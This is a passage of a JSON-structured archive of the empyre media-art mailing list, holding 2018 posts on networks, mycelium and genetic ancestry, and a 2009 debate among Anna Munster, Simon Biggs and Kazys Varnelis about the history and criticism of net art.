\"i'm particularly interested in non-model businesses \n> - experiments in business which do not scale or replicate but can \n> travel, cross-breed and transmit -  & also in martin parker's idea of \n> insurgent entrepreneurship as a set of potentially transformative \n> practices in reorienting economy, for communities as well as individuals.\"\n>\n> From Ilze Black - the human networks that transport kombucha, the \n> t-shroom, ultimately \"to put forward the notion of symbiosis for the \n> post-net network imagination! Mycelium networks offer us organic \n> metaphors to re-evaluate ourselves....They give us a chance to move \n> away from human=machine rhetoric, from cyborg like visions of future \n> transhumans, and possibly change the course of current industrial \n> enterprise. This, however, requires for every supporter to become a \n> symbiosis partner, to be considered as a cell in a social mycelium. \"\n>\n> From Liz, risking getting into the discourse on 'immersive species\",  \n> we would certainly be interested  in the tracks of UBERMORGEN's \n> network projects that \"undermine the current networks of the heartless \n> psychopaths\".\n>\n> I offer here also a quote from Anna Lowenhaupt Tsing, /The mushroom at \n> the end of the world -on the possibility of life in capitalist ruins/\n> \"We are stuck with the problem of living despite economic and \n> ecological ruination\u2026.. Neither tales of progress nor of ruin tell us \n> how to think about collaborative survival. It is time to pay attention \n> to mushroom picking. Not that this will save us\u2014 but it might open our \n> imaginations. \"\n>\n> There is new relationships to be established, some disconnection to be \n> made......\n>\n> any takers?\n>\n> sl\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180619/9078695b/attachment.html>\n",
                                "date": "Tue Jun 19 21:56:38 AEST 2018",
                                "message-id": "10328",
                                "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010328.html",
                                "content-type": "n/a",
                                "author_name": "black at x-i.net",
                                "subject": "[-empyre-] rehearsal of a network - [week 3]"
                            }
                        ],
                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                    },
                    {
                        "author_name": "OzawaToshiaki",
                        "from": "t.ozawa at bokemono.com",
                        "id": "10358",
                        "content": "Using the turn in conversation for some (relevant) self promotion...  \n\nhttp://mu.nl/nl/exhibitions/heather-dewey-hagborg-genomic-intimacy\n\nSpeaking of relationships, a biochemist friend once confided her belief that love is all about negotiating the terms of control. How much is one willing to concede? How much can one insist on maintaining?...\n\nThis perspective on intimacy didn\u2019t feel right at the time but stuck with me. As the years pass, I grow more convinced in her assessment. In today\u2019s genomic and big data world the importance of control issues within intimacy, intra and inter species, are no longer ignorable.\n\nReading this thread made me connect the control conversation from years ago to my recently completed collaboration. So, thank you!\n\n\n\nozawaToshiaki\nBern, Switzerland\n\nall typed with thumbs...\n\n> On Jun 18, 2018, at 4:37 PM, lizvlx <liz at ubermorgen.com> wrote:\n> \n> ----------empyre- soft-skinned space----------------------\n> \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \n> HELLO\n> \n> I dont know if you can hear me, I can hear you but I dont know if this is a good connection it keeps breaking o\n> \n> Thank you Shu Lea for the invite and I dare you I have read all the communication that has been going on and I am sure I did not at all understand it but then it is not understanding that I crave but inspirazione.\n> I medias res. A topic to start from. \n> \n> \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21  \n> The network within me (cave: relates to immersive species and the before mentioned DNA fingerprints)\n> I have a vast genetic network within me.\n> \n> 24% Celtic/Hallstatt\n> 21% Greek\n> 20% Eastern European \n> 13% Scandinavian\n> 06% Northern African\n> 05% Italian\n> 04% Finnish\n> 03% Ashkenazi Jewish\n> 02% West European\n> 02% Central American\n> 01% Nigerian\n> \n> I am many. I have gotten these results about 3 months ago. I am watching my relationship to far away netnodes of natures and cultures. I watched the GERMEX game yesterday knowing that I am I tiny bit Mexican too. Does it make a difference? Or is my love connection to Mexico more relevant? Or is there a love connection because of my genetic network?\n> \n> \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21\n> What does it mean to be indigenous? (As my father is from the Hallstatt area my Celtic roots are my indigenous roots)\n> I know I have never had any understanding of Western Europe and this mirrors in my genetic network. \n> Being pregnant with my first child re-taught me what it feels like to be not-one \u2014 looking at my genetics I feel relieved to be not one but many.\n> \n> I am wondering how does my genetic intranet connect to the internet.\n> \n> I would like to discuss with you as DNA fingerprints were already mentioned before - the implications of this kind of DNA fingerprinting\n> I would like to discuss with you about the immersiveness of our all genome\n> I would like to discuss with you. \n> \n> As a note: immersive species might really be a problematic term (I guess the immersive species themselves would argue such) - but I do think that there are immersive predators - as pointed out with the island/cat example.\n> \n> \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21\n> Postscript: I am not a theoreticienne - neither am I very versed in contemporary art practice besides my own. My influences are strictly Mozart Hallstatt Culture Marilyn Manson Rammstein KLF Kenyan Newspapers Montessori Macroeconomics Thinking Local Acting Global Norwegian TV Series Trees and Stones and https://youtu.be/awY1MRlMKMc. \n> Postscript02: at UBERMORGEN we are currently working on making art for the alt.right. this is more bout undermining the current networks of the heartless psychopaths, we can talk bout that later if ya want.\n> \n> lizvlx\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180626/f6957a01/attachment.html>\n",
                        "date": "Wed Jun 27 02:12:18 AEST 2018",
                        "message-id": "10358",
                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010358.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "ghostnets at ghostnets.com",
                                "id": "10359",
                                "content": "Might I suggest that a better term than control might be to consider ecotones. In the natural environment, transitions between habitats aren\u2019t rigid, albeit they do have boundaries, and even \u201ccontrols (ie., predators, etc). The reason I suggest this exchange of terms is that in biological systems, those transitional boundaries or controls, are constantly shifting, negotiating with the agents that make up the prevailing or emergent systems, often in co-operation with the local mycillae. In an era of dramatic change, it is worth recalling that evolution requires adaptation, and that is an inexhorably negotiative process.\n\nAviva Rahmani, PhD\nwww.ghostnets at ghostnets.com<http://www.ghostnets@ghostnets.com>\nWatch \u00b3Blued Trees\u00b2:  https://vimeo.com/135290635\nwww.gulftogulf.org<http://www.gulftogulf.org/>\n\n\n\nFrom: <empyre-bounces at lists.artdesign.unsw.edu.au> on behalf of OzawaToshiaki <t.ozawa at bokemono.com>\nReply-To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\nDate: Tuesday, June 26, 2018 at 12:44 PM\nTo: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\nSubject: Re: [-empyre-] rehearsal of a network - [week 3]\n\n----------empyre- soft-skinned space----------------------\n_______________________________________________\nempyre forum\nempyre at lists.artdesign.unsw.edu.au\nhttp://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180626/325a86da/attachment.html>\n",
                                "date": "Wed Jun 27 03:03:34 AEST 2018",
                                "message-id": "10359",
                                "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010359.html",
                                "content-type": "n/a",
                                "author_name": "Aviva Rahmani",
                                "subject": "[-empyre-] rehearsal of a network - [week 3]"
                            }
                        ],
                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                    }
                ],
                "message-id": "10322",
                "date": "Tue Jun 19 00:37:36 AEST 2018",
                "list": "empyre",
                "author_name": "lizvlx",
                "subject": "[-empyre-] rehearsal of a network - [week 3]"
            },
            {
                "content-type": "n/a",
                "from": "a.munster at unsw.edu.au",
                "id": "2061",
                "content": "Kazys, I'd like to move now to some more engagement with your actual chapter contribution: 'The Immediated Now: Network Culture and the Poetics of Reality' (http://varnelis.networkedbook.org/the-immediated-now-network-culture-and-the-poetics-of-reality/)\n\nIn this chapter you marks a distinction between earlier network art (Bunting, Shuglin, odi.org et al) and the 'web 1.0' period  during which there was a  preoccupation with the medium of t e net itself among many artists (using the properties of html code  etc) and today's networked culture in which everything is networked or rather the network is dispersed diffusely throughout all aspects of culture. Your position (sorry to simplify!) is that the reality of a networked world becomes a preoccupation itself, in fact a kind of   preoccupation with the 'reality' of media. In turn, this leads to a set of cultural/artistic tactical manoeuvres:\n\n\"On the contrary, the fascination with the real in \u201creality\u201d media, be it reality TV, amateur-generated content, or professional \u201cart\u201d is constructed around specific tactics: self-exposure, information visualization, the documentarian turn, remix, and participation.\"\n\nHowever, I 'd also point to the 'big' statement by net artists of the '90s encapsulated by jodi's comment: 'Net artists live on the net'.( that's a paraphrase btw). So, I'd contend that in fact this preoccupation with the 'real' of networking actually begins with these earlier artists and that it might be something of a false (although currently fashionable) position to institute too much of a break  at least in terms of aesthetics  between earlier and contemporary network cultures.\n\nJust wondering what your response to this might be...\n\nbest\nAnna\n\n\n\nA/Prof. Anna Munster\nDirector of Postgraduate Research (Acting)\nDeputy Director Centre for Contemporary Art and Politics\nSchool of Art History and Art Education\nCollege of Fine Arts\nUNSW\nP.O. Box 259\nPaddington\nNSW 2021\n612 9385 0741 (tel)\n612 9385 0615(fax)\na.munster at unsw.edu.au\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002061.html",
                "follow-up": [
                    {
                        "author_name": "Simon Biggs",
                        "from": "s.biggs at eca.ac.uk",
                        "id": "2062",
                        "content": "Hayles concept of Oborn digital\u00b9 is useful in contextualising what Jodi\nmight have meant when they spoke of \u00b3net.artists living on the net\u00b2. Prior\nto a certain point in time artists working with computers and associated\ncommunications technologies came to this practice from other media,\nemploying frameworks and criteria imported from other contexts. At some\npoint this changed and a generation of artists emerged who had always worked\nwith digital and networked media. This didn\u00b9t happen in a simple linear\nmanner. Nor did developments occur at the same time, or in the same way, for\nthe various aspects of what are now, but what were not previously, related\nmedia (computers and telecommuniciations only got substantially together in\nthe 1980\u00b9s).\n\nThere were a small number of artists working in the 1970\u00b9s who started out\nin their practice using digital systems, even a few in the 1960\u00b9s. There\nwere, similarly, a small number of artists who emerged in the 80\u00b9s who were\nusing networks from the start. Bunting is an example of this \u00ad although his\nearly network practices did not engage the internet but telephone networks.\nPaul Sermon is another (very different) example. However, the emergence of a\ngeneration of network savvy artists, with a culture attached, didn\u00b9t begin\nuntil well into the 1990\u00b9s. The associated buzz, involving the engagement of\ntheorists and cultural commentators, intensified after that time. In this\nsense I\u00b9d assess Varnelis\u00b9s observation that these technologies \u00b3cultural\nimplications (were) confined to niche realms for enthusiasts\u00b2 more or less\ncorrect \u00ad although I\u00b9d move the dates back a little to the early 90\u00b9s or\neven the late 1980\u00b9s and identify 1993 as they key year in terms of impact,\nwhen the first web browser (Mosaic) became publicly available.\n\nThere were a series of events and developments, in the late 1980\u00b9s, when the\nkey players in what was to emerge in the 1990\u00b9s, with net.art and related\npractices, started to meet, communicate directly with one another and inform\neach other\u00b9s work. It is no accident that many of these people were Eastern\nor Central European or were based in what had been cold-war border cities,\nlike Berlin and Ljubljana. A few of these artists did replay historical\ntropes. Shulgin\u00b9s playful refigurings of Suprematism is an example, although\nas much concerned with developing a commentary on his personal sense of\nnational heritage at a time of social turbulence, post 1989, than formal\nart-historical deconstruction. It can be argued that the emergence of new\nmedialities and formal frameworks are often associated with artists\nrevisiting the past. Picasso\u00b9s confluence of Cubism and African art is\nperhaps an example. Again, it would be dangerous to consider this as simply\nor even primarily formal aesthetic experiment. Picasso, like Shulgin, lived\nin a social and political context and he drew inspiration from the\nexcitement and conflict he experienced living within it.\n\nContemporary network culture is a very recent phenomenon. Perhaps we forget\nhow fast things have changed and what seemed odd or futuristic to many until\nonly a few years ago is now commonplace. There is a turbulence associated\nwith that rate of change.\n\nVarnelis\u00b9s piece attempts to connect artists practice with digital networks\nwith examples of practice from a more mainstream art world (you can\u00b9t get\nmore mainstream in the UK than the work of a Turner Prize winner). To some\ndegree this approach is illuminating, allowing some novel connections to be\nmade. Zittel and Auerbach\u00b9s work sits interestingly alongside  Halley\u00b9s or\nEstes\u00b9s. It is also clear that mainstream arts practice of the early\npost-modern period (1960-1980) was an influence on many artists who were\nassociated with the 1990\u00b9s emergence of art practices situated within a\nnetworked cultural context.\n\nHowever, it is important to remember that many of those artists chose to\nwork with digital and communications systems in large part because they were\ndisillusioned with the mainstream artworld. Here I am not talking about art\npractices but the artworld itself. These artists sought out of a parallel\nsystem that would allow practitioners to work, communicate and facilitate\nnew audiences without the mediation of the institutional framework the\nartworld was/is composed of. This activity is traceable to earlier examples,\nsome of which explicitly join up, with practitioners associated with artist\nrun initiatives like The Kitchen and Film-makers Coop in New York or London\nVideo Arts and Film-makers Coop in the UK (amongst many other actitivies\naround the World during the 1960\u00b9s and 70\u00b9s) being part of the development\nof the prototype digital and networked culture of the 1980\u00b9s which Shulgin,\nBunting and many others are associated with. This is arguably a stronger\nlineage of historical precedent than that which connects Peter Halley to\nJosh On and in this sense Varnelis\u00b9s piece risks being revisionist. But it\ncan be hard to establish new historical connections without taking such a\nrisk.\n\nHowever, as was pointed out in the first paragraph above, nothing is linear\nor simple. Whilst many of the artists associated with net.art and similar\nactivities did seek alternate models to the dominant artworld market model\nothers sought to play with it and turn the system to their own advantage.\nVuk Cosic is an example here, his provocations and interventions functioning\nas both critique of the dominance of market thinking in the creative arts\nand an attempt to grab some of the associated limelight. He played this\ndouble edged sword with some skill. It is perhaps too early to evaluate\nwhether Shulgin\u00b9s more recent work with easy to consume electronic multiples\nis as clever and destabilising as Cosic\u00b9s practices (he made sense of what\nhe was doing by Oretiring\u00b9 young) or whether he risks repeating the failures\nof Kasemir Malevich, the Suprematist Shulgin parodied in his Oform art\u00b9\nworks, who, after a blazing period of creativity retreated into\npolitically-correct folk-art.\n\nTo me this sort of art-historical connection evidences a Oborn digital\u00b9 art\ncriticism which Varnelis\u00b9s essay perhaps fails to do.\n\nBest\n\nSimon\n\n\nSimon Biggs\n\nResearch Professor\nedinburgh college of art\ns.biggs at eca.ac.uk\nwww.eca.ac.uk\n\nCreative Interdisciplinary Research into CoLlaborative Environments\nwww.eca.ac.uk/circle/\n\nsimon at littlepig.org.uk\nwww.littlepig.org.uk\nAIM/Skype: simonbiggsuk\n\n\n\nFrom: Anna Munster <a.munster at unsw.edu.au>\nReply-To: soft_skinned_space <empyre at lists.cofa.unsw.edu.au>\nDate: Tue, 13 Oct 2009 20:08:24 +1100\nTo: \"empyre at lists.cofa.unsw.edu.au\" <empyre at lists.cofa.unsw.edu.au>\nSubject: [-empyre-] 'real' networked art\n\nIn this chapter you marks a distinction between earlier network art\n(Bunting, Shuglin, odi.org et al) and the 'web 1.0' period  during which\nthere was a  preoccupation with the medium of t e net itself among many\nartists (using the properties of html code  etc) and today's networked\nculture in which everything is networked or rather the network is dispersed\ndiffusely throughout all aspects of culture. Your position (sorry to\nsimplify!) is that the reality of a networked world becomes a preoccupation\nitself, in fact a kind of   preoccupation with the 'reality' of media. In\nturn, this leads to a set of cultural/artistic tactical manoeuvres:\n\n\"On the contrary, the fascination with the real in \u00b3reality\u00b2 media, be it\nreality TV, amateur-generated content, or professional \u00b3art\u00b2 is constructed\naround specific tactics: self-exposure, information visualization, the\ndocumentarian turn, remix, and participation.\"\n\nHowever, I 'd also point to the 'big' statement by net artists of the '90s\nencapsulated by jodi's comment: 'Net artists live on the net'.( that's a\nparaphrase btw). So, I'd contend that in fact this preoccupation with the\n'real' of networking actually begins with these earlier artists and that it\nmight be something of a false (although currently fashionable) position to\ninstitute too much of a break  at least in terms of aesthetics  between\nearlier and contemporary network cultures.\n\n\nEdinburgh College of Art (eca) is a charity registered in Scotland, number SC009201\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: https://mail.cofa.unsw.edu.au/pipermail/empyre/attachments/20091013/71fef060/attachment.html \n",
                        "date": "Tue Oct 13 21:34:00 EST 2009",
                        "message-id": "2062",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002062.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "Kazys Varnelis",
                                "from": "kazys at varnelis.net",
                                "id": "2073",
                                "content": "Hi Simon,\n\nThanks for the comments. I wanted to make a couple of points of  \nclarification, since it seems like you misunderstood what I was after.\n\nFirst, when I write about early work in new media experiencing  \n\"marginalization by established art institutions,\" such  \nmarginalization works both ways.\n\nMany of the early practitioners felt marginalized or excluded by a  \nhierarchical and incestuous world of art in the academy and the market  \nfrom day one. So yes, as you write, many of the artists sought  \nalternate places to operate from as an alternative to the artworld,  \nnot just in pursuit of new media. But looking at the early history of  \nnetworked art wasn't my goal, so I condensed.\n\nA sociological history examining this phenomenon would be interesting  \nfor someone to take on, especially if it was compared to the condition  \nin architecture. During the 1990s, due to its early embrace by leaders  \nin the academy, digital architecture became precisely what many new  \nmedia artists would have fled from, a playland for the \u00e9lite. In my  \ncase, the result was that I stayed away from writing about  \narchitecture and digital media for a good decade out of dismay at what  \nhad happened to it. Critical or progressive practices in that field  \nhave only developed in the last decade, often drawing on the work  \nbeing done in the art world more than on architecture.\n\nNow, apart from my argument about immediated reality, my fundamental  \npoint in this essay is that we need to think hard about what writing  \nabout \"networked\" art or \"new media\" art means today and how useful  \nsuch distinctions are anymore. Genealogies that look inward, are no  \nlonger adequate to explain contemporary work. Hayles's \"Born Digital\"  \nneeds to be revised for the present day. The current generation hardly  \nknows a world that wasn't digital and work that is intentionally  \nlimited to digital media is often as backwards looking as work that is  \nlimited to traditional media. Take Hayles's writing about hypertext  \nfiction. Ok, hypertext fiction is great, it's revolutionary. But how  \nmany works of hypertext fiction have you read lately? I'd venture that  \nfew of us have read any in the last decade. But how many works of  \nfiction in the last decade have been written on networked computers?  \nIs the latter simply inconsequential? Or is the latter evidence of a  \ndeeper form of being \"born digital,\" that no longer thinks of the  \ndigital as somehow different or autonomous?\n\nThis is what I'm calling for when I suggest that we need to look at  \nnetwork culture in the broadest sense, as a cultural moment, not as a  \nproduct of technology, but rather as the product of a host of social,  \neconomic, and cultural changes. Of course you can't get much more  \nestablishment in the UK than winning Turner Prize and that Leckey  \npresented a video lecture on his work on the Tate site informed  \nsimultaneously by music videos and YouTube webcam videos is precisely  \nwhy we need to expand the way we look at this material, rather than  \nproducing more internalized genealogies, which is what I you seem to  \nbe calling for.\n\nBest,\n\n\n\n\nKazys\n\n\n\n\nKazys Varnelis\nkv2157 at columbia.edu\n\nDirector, Network Architecture Lab\nhttp://networkarchitecturelab.org\nhttp://varnelis.net\n\nGraduate School of Architecture, Planning, and Preservation\nColumbia University\nStudio-X Research Facility\n180 Varick St\nSuite 1610\nNew York, NY 10014\n\n\n\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: https://mail.cofa.unsw.edu.au/pipermail/empyre/attachments/20091015/beba2125/attachment.html \n",
                                "date": "Fri Oct 16 01:44:22 EST 2009",
                                "message-id": "2073",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002073.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "a.munster at unsw.edu.au",
                                        "id": "2074",
                                        "content": "Hi Kazys,\nI see that you have shifted a little in your 'categories' from your chapter (where you move from high-low to cool not cool via Liu), to the idea of internal vs external genealogies of networked art and culture. I think this is potentially a very rich shift. But I also wonder if we aren't actually fragmenting into more and more 'internal' networked scenes both culturally and artistically. So, for example, the aesthetics and textuality of YouTube is very different from Twitter and the cultural scenes there quite diverse. hence we have potential internal network genealogies everywhere. The Web 2.0 moniker may turn out ot be quite useless...however, a key unifier across these and other contemporary online environments is their performativity/celebrity. Would this be a distinguishing factor between web 1.0 and web 2.0 and beyond for you?\n\nbest\nAnna\n\nA/Prof. Anna Munster\nDirector of Postgraduate Research (Acting)\nDeputy Director Centre for Contemporary Art and Politics\nSchool of Art History and Art Education\nCollege of Fine Arts\nUNSW\nP.O. Box 259\nPaddington\nNSW 2021\n612 9385 0741 (tel)\n612 9385 0615(fax)\na.munster at unsw.edu.au\n________________________________________\nFrom: empyre-bounces at lists.cofa.unsw.edu.au [empyre-bounces at lists.cofa.unsw.edu.au] On Behalf Of Kazys Varnelis [kazys at varnelis.net]\nSent: Friday, 16 October 2009 1:44 AM\nTo: soft_skinned_space\nSubject: Re: [-empyre-] 'real' networked art\n\nHi Simon,\n\nThanks for the comments. I wanted to make a couple of points of clarification, since it seems like you misunderstood what I was after.\n\nFirst, when I write about early work in new media experiencing \"marginalization by established art institutions,\" such marginalization works both ways.\n\nMany of the early practitioners felt marginalized or excluded by a hierarchical and incestuous world of art in the academy and the market from day one. So yes, as you write, many of the artists sought alternate places to operate from as an alternative to the artworld, not just in pursuit of new media. But looking at the early history of networked art wasn't my goal, so I condensed.\n\nA sociological history examining this phenomenon would be interesting for someone to take on, especially if it was compared to the condition in architecture. During the 1990s, due to its early embrace by leaders in the academy, digital architecture became precisely what many new media artists would have fled from, a playland for the \u00e9lite. In my case, the result was that I stayed away from writing about architecture and digital media for a good decade out of dismay at what had happened to it. Critical or progressive practices in that field have only developed in the last decade, often drawing on the work being done in the art world more than on architecture.\n\nNow, apart from my argument about immediated reality, my fundamental point in this essay is that we need to think hard about what writing about \"networked\" art or \"new media\" art means today and how useful such distinctions are anymore. Genealogies that look inward, are no longer adequate to explain contemporary work. Hayles's \"Born Digital\" needs to be revised for the present day. The current generation hardly knows a world that wasn't digital and work that is intentionally limited to digital media is often as backwards looking as work that is limited to traditional media. Take Hayles's writing about hypertext fiction. Ok, hypertext fiction is great, it's revolutionary. But how many works of hypertext fiction have you read lately? I'd venture that few of us have read any in the last decade. But how many works of fiction in the last decade have been written on networked computers? Is the latter simply inconsequential? Or is the latter evidence of a deeper form of being \"born digital,\" that no longer thinks of the digital as somehow different or autonomous?\n\nThis is what I'm calling for when I suggest that we need to look at network culture in the broadest sense, as a cultural moment, not as a product of technology, but rather as the product of a host of social, economic, and cultural changes. Of course you can't get much more establishment in the UK than winning Turner Prize and that Leckey presented a video lecture on his work on the Tate site informed simultaneously by music videos and YouTube webcam videos is precisely why we need to expand the way we look at this material, rather than producing more internalized genealogies, which is what I you seem to be calling for.\n\nBest,\n\n\n\n\nKazys\n\n\n\n\nKazys Varnelis\nkv2157 at columbia.edu<mailto:kv2157 at columbia.edu>\n\nDirector, Network Architecture Lab\nhttp://networkarchitecturelab.org\nhttp://varnelis.net\n\nGraduate School of Architecture, Planning, and Preservation\nColumbia University\nStudio-X Research Facility\n180 Varick St\nSuite 1610\nNew York, NY 10014\n\n\n\n\n\n\n",
                                        "date": "Fri Oct 16 12:14:47 EST 2009",
                                        "message-id": "2074",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002074.html",
                                        "content-type": "n/a",
                                        "author_name": "Anna Munster",
                                        "subject": "[-empyre-] 'real' networked art"
                                    },
                                    {
                                        "from": "kazys at varnelis.net",
                                        "id": "2075",
                                        "content": "Hi Anna,\n\nI don't think I've shifted in this, sorry if it wasn't clear.\n\nBoth High-low/internal vs. Cool/Uncool/transdisciplinarity are  \nreflections of the same transition to network culture.\n\nBest,\n\nKazys\n\n\nOn Oct 15, 2009, at 9:14 PM, Anna Munster wrote:\n\n> Hi Kazys,\n> I see that you have shifted a little in your 'categories' from your  \n> chapter (where you move from high-low to cool not cool via Liu), to  \n> the idea of internal vs external genealogies of networked art and  \n> culture. I think this is potentially a very rich shift. But I also  \n> wonder if we aren't actually fragmenting into more and more  \n> 'internal' networked scenes both culturally and artistically. So,  \n> for example, the aesthetics and textuality of YouTube is very  \n> different from Twitter and the cultural scenes there quite diverse.  \n> hence we have potential internal network genealogies everywhere. The  \n> Web 2.0 moniker may turn out ot be quite useless...however, a key  \n> unifier across these and other contemporary online environments is  \n> their performativity/celebrity. Would this be a distinguishing  \n> factor between web 1.0 and web 2.0 and beyond for you?\n>\n> best\n> Anna\n>\n> A/Prof. Anna Munster\n> Director of Postgraduate Research (Acting)\n> Deputy Director Centre for Contemporary Art and Politics\n> School of Art History and Art Education\n> College of Fine Arts\n> UNSW\n> P.O. Box 259\n> Paddington\n> NSW 2021\n> 612 9385 0741 (tel)\n> 612 9385 0615(fax)\n> a.munster at unsw.edu.au\n> ________________________________________\n> From: empyre-bounces at lists.cofa.unsw.edu.au [empyre- \n> bounces at lists.cofa.unsw.edu.au] On Behalf Of Kazys Varnelis  \n> [kazys at varnelis.net]\n> Sent: Friday, 16 October 2009 1:44 AM\n> To: soft_skinned_space\n> Subject: Re: [-empyre-] 'real' networked art\n>\n> Hi Simon,\n>\n> Thanks for the comments. I wanted to make a couple of points of  \n> clarification, since it seems like you misunderstood what I was after.\n>\n> First, when I write about early work in new media experiencing  \n> \"marginalization by established art institutions,\" such  \n> marginalization works both ways.\n>\n> Many of the early practitioners felt marginalized or excluded by a  \n> hierarchical and incestuous world of art in the academy and the  \n> market from day one. So yes, as you write, many of the artists  \n> sought alternate places to operate from as an alternative to the  \n> artworld, not just in pursuit of new media. But looking at the early  \n> history of networked art wasn't my goal, so I condensed.\n>\n> A sociological history examining this phenomenon would be  \n> interesting for someone to take on, especially if it was compared to  \n> the condition in architecture. During the 1990s, due to its early  \n> embrace by leaders in the academy, digital architecture became  \n> precisely what many new media artists would have fled from, a  \n> playland for the \u00e9lite. In my case, the result was that I stayed  \n> away from writing about architecture and digital media for a good  \n> decade out of dismay at what had happened to it. Critical or  \n> progressive practices in that field have only developed in the last  \n> decade, often drawing on the work being done in the art world more  \n> than on architecture.\n>\n> Now, apart from my argument about immediated reality, my fundamental  \n> point in this essay is that we need to think hard about what writing  \n> about \"networked\" art or \"new media\" art means today and how useful  \n> such distinctions are anymore. Genealogies that look inward, are no  \n> longer adequate to explain contemporary work. Hayles's \"Born  \n> Digital\" needs to be revised for the present day. The current  \n> generation hardly knows a world that wasn't digital and work that is  \n> intentionally limited to digital media is often as backwards looking  \n> as work that is limited to traditional media. Take Hayles's writing  \n> about hypertext fiction. Ok, hypertext fiction is great, it's  \n> revolutionary. But how many works of hypertext fiction have you read  \n> lately? I'd venture that few of us have read any in the last decade.  \n> But how many works of fiction in the last decade have been written  \n> on networked computers? Is the latter simply inconsequential? Or is  \n> the latter evidence of a deeper form of being \"born digital,\" that  \n> no longer thinks of the digital as somehow different or autonomous?\n>\n> This is what I'm calling for when I suggest that we need to look at  \n> network culture in the broadest sense, as a cultural moment, not as  \n> a product of technology, but rather as the product of a host of  \n> social, economic, and cultural changes. Of course you can't get much  \n> more establishment in the UK than winning Turner Prize and that  \n> Leckey presented a video lecture on his work on the Tate site  \n> informed simultaneously by music videos and YouTube webcam videos is  \n> precisely why we need to expand the way we look at this material,  \n> rather than producing more internalized genealogies, which is what I  \n> you seem to be calling for.\n>\n> Best,\n>\n>\n>\n>\n> Kazys\n>\n>\n>\n>\n> Kazys Varnelis\n> kv2157 at columbia.edu<mailto:kv2157 at columbia.edu>\n>\n> Director, Network Architecture Lab\n> http://networkarchitecturelab.org\n> http://varnelis.net\n>\n> Graduate School of Architecture, Planning, and Preservation\n> Columbia University\n> Studio-X Research Facility\n> 180 Varick St\n> Suite 1610\n> New York, NY 10014\n>\n>\n>\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: https://mail.cofa.unsw.edu.au/pipermail/empyre/attachments/20091015/4d3d39ed/attachment.html \n",
                                        "date": "Fri Oct 16 13:21:09 EST 2009",
                                        "message-id": "2075",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002075.html",
                                        "content-type": "n/a",
                                        "author_name": "Kazys Varnelis",
                                        "subject": "[-empyre-] 'real' networked art"
                                    },
                                    {
                                        "from": "a.munster at unsw.edu.au",
                                        "id": "2078",
                                        "content": "Ok - got it!\nKazys wrote:\n\n<Both High-low/internal vs. Cool/Uncool/transdisciplinarity are reflections of the same transition to network culture.>\n\nhowever, I would still ant to maintain that relative to the period in which they ere working, '90s net artists were not necessarily elite. I don't think small or niche = elite. The question of access and mass has taken on a renewed medial push in the age of 'hits' and their registering. This links up to Anne's points about the ways in which search engines produce forms of identity. Likewise algorithms.\n\nOne thing we might be forgetting about that early net art was its internationalism - alot of it came out of eastern europe and the balkans especialy and was very much connected with early net radio and its relations to Dutch net culture. A number of people, Stallabrass included, have remarked on the net art movement as one of the truly international art movements of the late 20th century. For me, this alone takes that work out of some 'art ghetto' and makes it concerned with a lot more than avant-gardism...\n\nbest\nAnna\n",
                                        "date": "Sat Oct 17 11:24:12 EST 2009",
                                        "message-id": "2078",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002078.html",
                                        "content-type": "n/a",
                                        "author_name": "Anna Munster",
                                        "subject": "[-empyre-] 'real' networked art"
                                    },
                                    {
                                        "from": "willpap at gmail.com",
                                        "id": "2079",
